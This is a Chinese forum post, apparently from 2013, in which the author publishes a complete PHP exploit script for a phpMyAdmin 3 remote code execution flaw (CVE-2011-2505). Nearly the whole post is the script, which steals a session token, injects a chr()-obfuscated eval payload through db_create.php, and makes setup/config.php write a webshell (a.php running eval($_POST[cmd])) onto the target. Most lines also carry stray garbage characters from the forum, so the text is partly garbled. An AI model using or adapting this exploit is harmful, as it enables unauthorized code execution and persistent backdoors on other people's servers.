找回密码
 立即注册
查看: 2977|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。2 M2 S; F1 ~0 }# S# ?0 z; J4 x# O
( M3 w9 r, D6 B. }8 G* j
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。4 v0 z  _- K' }% S/ x1 I

  }) o( }0 W8 [  Q/ j* @$ c首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
' }$ a/ z; e) G+ R9 B% X" {一是session.auto_start = 1;
- f* w9 {9 @6 r0 q二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。# R/ Z1 O. Y( M3 R
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
5 L: f% e" Y; b: C5 n' F( ?2 B: `, v: y% r
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
7 n4 z* `  j2 e, f, V  U, T; v& W6 E9 q6 e) l
于是写了这个php版本的exp,代码如下:5 W. t/ l$ Y1 p' R4 H* y

+ Z% h8 Z, ]9 ?9 |#!/usr/bin/php& |' b. }& s( F/ O: C& c. h
<?php0 `+ f( ]# w# K0 E0 I
print_r('/ f. s7 g& E. `8 E& j) J, f! c# H
+---------------------------------------------------------------------------+
& _6 X) v" l; Npma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]* `3 S% X& i8 N0 x! {) [  e
by oldjun(www.oldjun.com)5 V2 T: _$ K- v  L% a8 w! C+ l, l
welcome to www.t00ls.net
# c6 F% Q! ]( M" N6 D: ~: umail: oldjun@gmail.com
. a( H) A, m- O! {5 o- _$ A  x1 ?Assigned CVE id: CVE-2011-2505& l2 ~; Z0 i% g0 j- i5 [
+---------------------------------------------------------------------------+* n. v# ]7 d8 C4 y% D) x( A! _
');% }+ p' K7 P5 L

6 z; v# Z0 E% d4 E/**9 `$ l* }" t6 _% U
* working when the directory:"config" exists and is writeable.
2 W6 a) `: e& V6 Y  e$ W. \! J**/
( n3 H* D7 q' Q5 [ + J/ ]8 f4 m! l
if ($argc < 3) {. k3 X$ E/ V6 m- ?# Z
    print_r('
: h' |! `) T$ V: f  d+---------------------------------------------------------------------------+
* o; T/ s* V  i$ _& s, B/ H8 \Usage: php '.$argv[0].' host path
. g4 n/ F. w# G1 ~" m! \4 @host:      target server (ip/hostname), m7 T' Z' ?+ s
path:      path to pma3
9 Y0 A/ k( D/ C% x: `Example:5 j. a0 b! ?4 C2 x& R) \, c
php '.$argv[0].' localhost /pma/) D. ~8 J) M( {
+---------------------------------------------------------------------------+, @8 H  @4 m: x
');
3 d3 d; O- o4 {    exit;
# o7 ]$ o% D8 d}2 Q! b3 X* v" q2 ~, ^5 Y( A
: Y  V$ L1 W7 G; w' U' w/ ]3 u3 C
$host = $argv[1];
  d: D/ N) F9 y, N' _) o$path = $argv[2];0 E; |) R# t3 E3 E9 m

7 R3 E, m" E/ |  L3 a5 B/**2 w, U3 M! s1 ~1 F, B
* Try to determine if the directory:"config" exists
& M# q7 [$ b! u" r/ H& R3 \**/2 T; S( \3 \3 l2 y  f7 B$ u2 v
echo "[+] Try to determine if the directory:config exists....\n";
) {* b' d& e& ~3 s) F* N$returnstr=php_request('config/');
9 Q$ P& o+ J+ a3 P: s, u# sif(strpos($returnstr,'404')){
/ W* R1 |; }7 `7 D( f    exit("[-] Exploit Failed! The directory:config do not exists!\n");- I& @+ l; u+ e/ R0 q, D
}
6 q2 P% \; x4 r. L( a: b* ]
6 R! ]  Z: l6 L3 Q1 r7 [/**4 {# N% w* Y- b) t& T
* Try to get token and sessionid
5 W+ M7 k( A& Z5 _0 j**/
2 J; X0 A* |& E1 wecho "[+] Try to get token and sessionid....\n";
2 D( W  f& X3 z/ q7 C$result=php_request('index.php');) z7 \- v! p& b
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);) ]+ n* M  l; V9 b1 O- o
$token=$resp[3];. }  G, T: o, z# k- q
$sessionid=$resp[1];
6 \. a0 u) k  b9 K0 K3 L2 G: K7 s2 ?if($token && $sessionid){3 V5 k7 z6 F5 N/ C
    echo "[+] tokentoken\n";6 v6 L( Q2 N1 {% g7 U$ ^9 _
    echo "[+] Session IDsessionid\n";
, [: X( a4 `' S; z}else{$ G# d8 J' Z& c' j/ n' O
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
" d+ y& E  Z" f2 B}: b! }# ^; R1 v1 B" W! |

. {( g  G1 T+ g8 |  G: V+ ^/**
. K! P) k0 V  J * Try to insert shell into session" k8 [6 n; E( Y/ }: {
**/
1 h6 J- j- R7 D/ A* ~" f6 lecho "[+] Try to insert shell into session....\n";( b3 a' C$ Z2 @2 M1 L
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
. l) w9 y8 F4 x, P
% `. f7 s) X! B4 U1 ]; I# G/**; y; q' ?5 C  ~7 {, E
* Try to create webshell
8 W& R* Y, [/ k5 Z**/
" y8 P/ v! n1 v! ~* yecho "[+] Try to create webshell....\n";8 s% G: c; q& |3 L5 Q9 I. e
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);+ x' p3 H8 n+ ]2 ~8 D
/**
, ?1 }" D) @; W7 Z * Try to check if the webshell was created successfully
6 j* [/ S' A' m% \- L4 t8 o+ z( }' ]**/+ w4 _+ C8 e! z$ n# D: w
echo "[+] Try to check if the webshell was created successfully....\n";) f- K5 t  t2 |9 k/ w# N
$content=php_request('config/config.inc.php');" Q' E, t; N% t& }3 R
if(strpos($content,'t00ls')){6 x) U& ^# g2 q- C
    echo "[+] Congratulations! Expoilt successfully....\n";5 f- ?4 n" j/ B5 s1 o. ?
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
+ _! T& D0 e0 u: j$ a7 @  P) P}else{0 J; a& @. ?% G2 ]- G* p
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
( J1 @: a1 k5 S, ]: d}8 _5 E* g: i1 D! _

% o5 o$ D2 ?: q0 B& k( j% k" Xfunction php_request($url,$data='',$cookie=''){
' |; j- S& [* W( \% m    global  $host, $path;
! z7 J7 E6 r3 {  ^' h! q/ B0 Z8 U   
/ q$ S5 Y& Y" K) b4 N& n    $method=$data?'POST':'GET';
, T# Q& [7 o& @, \2 j$ a2 W4 P. u    9 K) |- r$ D( \( P- `
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
) f9 Q+ h) ~8 A  `( _: Y    $packet .= "Accept: */*\r\n";; X5 L- R$ ]/ k4 J' l4 r
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";& C* D4 H9 [. a  s, {- t
    $packet .= "Host: $host\r\n";' O' `0 E9 S/ X! ~* x% j1 e/ r
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
/ G+ P7 G9 ^$ K; @! M! X    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";" V" p% T. _( d8 D0 ?% K! u& Y2 ]1 }
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
, z, p  m$ \( V1 B# x! V  w    $packet .= "Connection: Close\r\n\r\n";& L$ A" E& l& [
    $packet .= $data?$data:"";9 y5 H6 o# J; f2 Q0 t

0 ^: t) ^% @8 ?    $fp = fsockopen(gethostbyname($host), 80);! p) F  [$ K, Z. L$ Z( `) l8 K
    if (!$fp) {
+ U/ b& U- v, y/ x( d    echo 'No response from '.$host; die;
- P! c: B+ a6 s  X. [    }
$ y; t# n5 o: |3 B& n; \    fputs($fp, $packet);
) A' x& l! D3 g3 X- J' g
  l' j5 G; L  _1 D    $resp = '';
0 P" v5 u  {' L' ^; W" \! W. J
, `# K/ W, \9 P& ]& [- v    while ($fp && !feof($fp))
" J2 i- |) H5 k) U2 f8 M        $resp .= fread($fp, 1024);6 ~; e- i8 t: Z# Y2 v$ p; U

/ X1 f! S4 C* C. \% E1 B- k3 K    return $resp;
% n" i* m. e/ D$ S8 e: H( E}2 g9 D7 ?  s2 P4 v# ?4 u3 v% [: j4 g
   
; |% R' q' R9 g+ g8 b1 _4 _?>
  E$ N8 z* k, @# k6 b4 i$ S.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表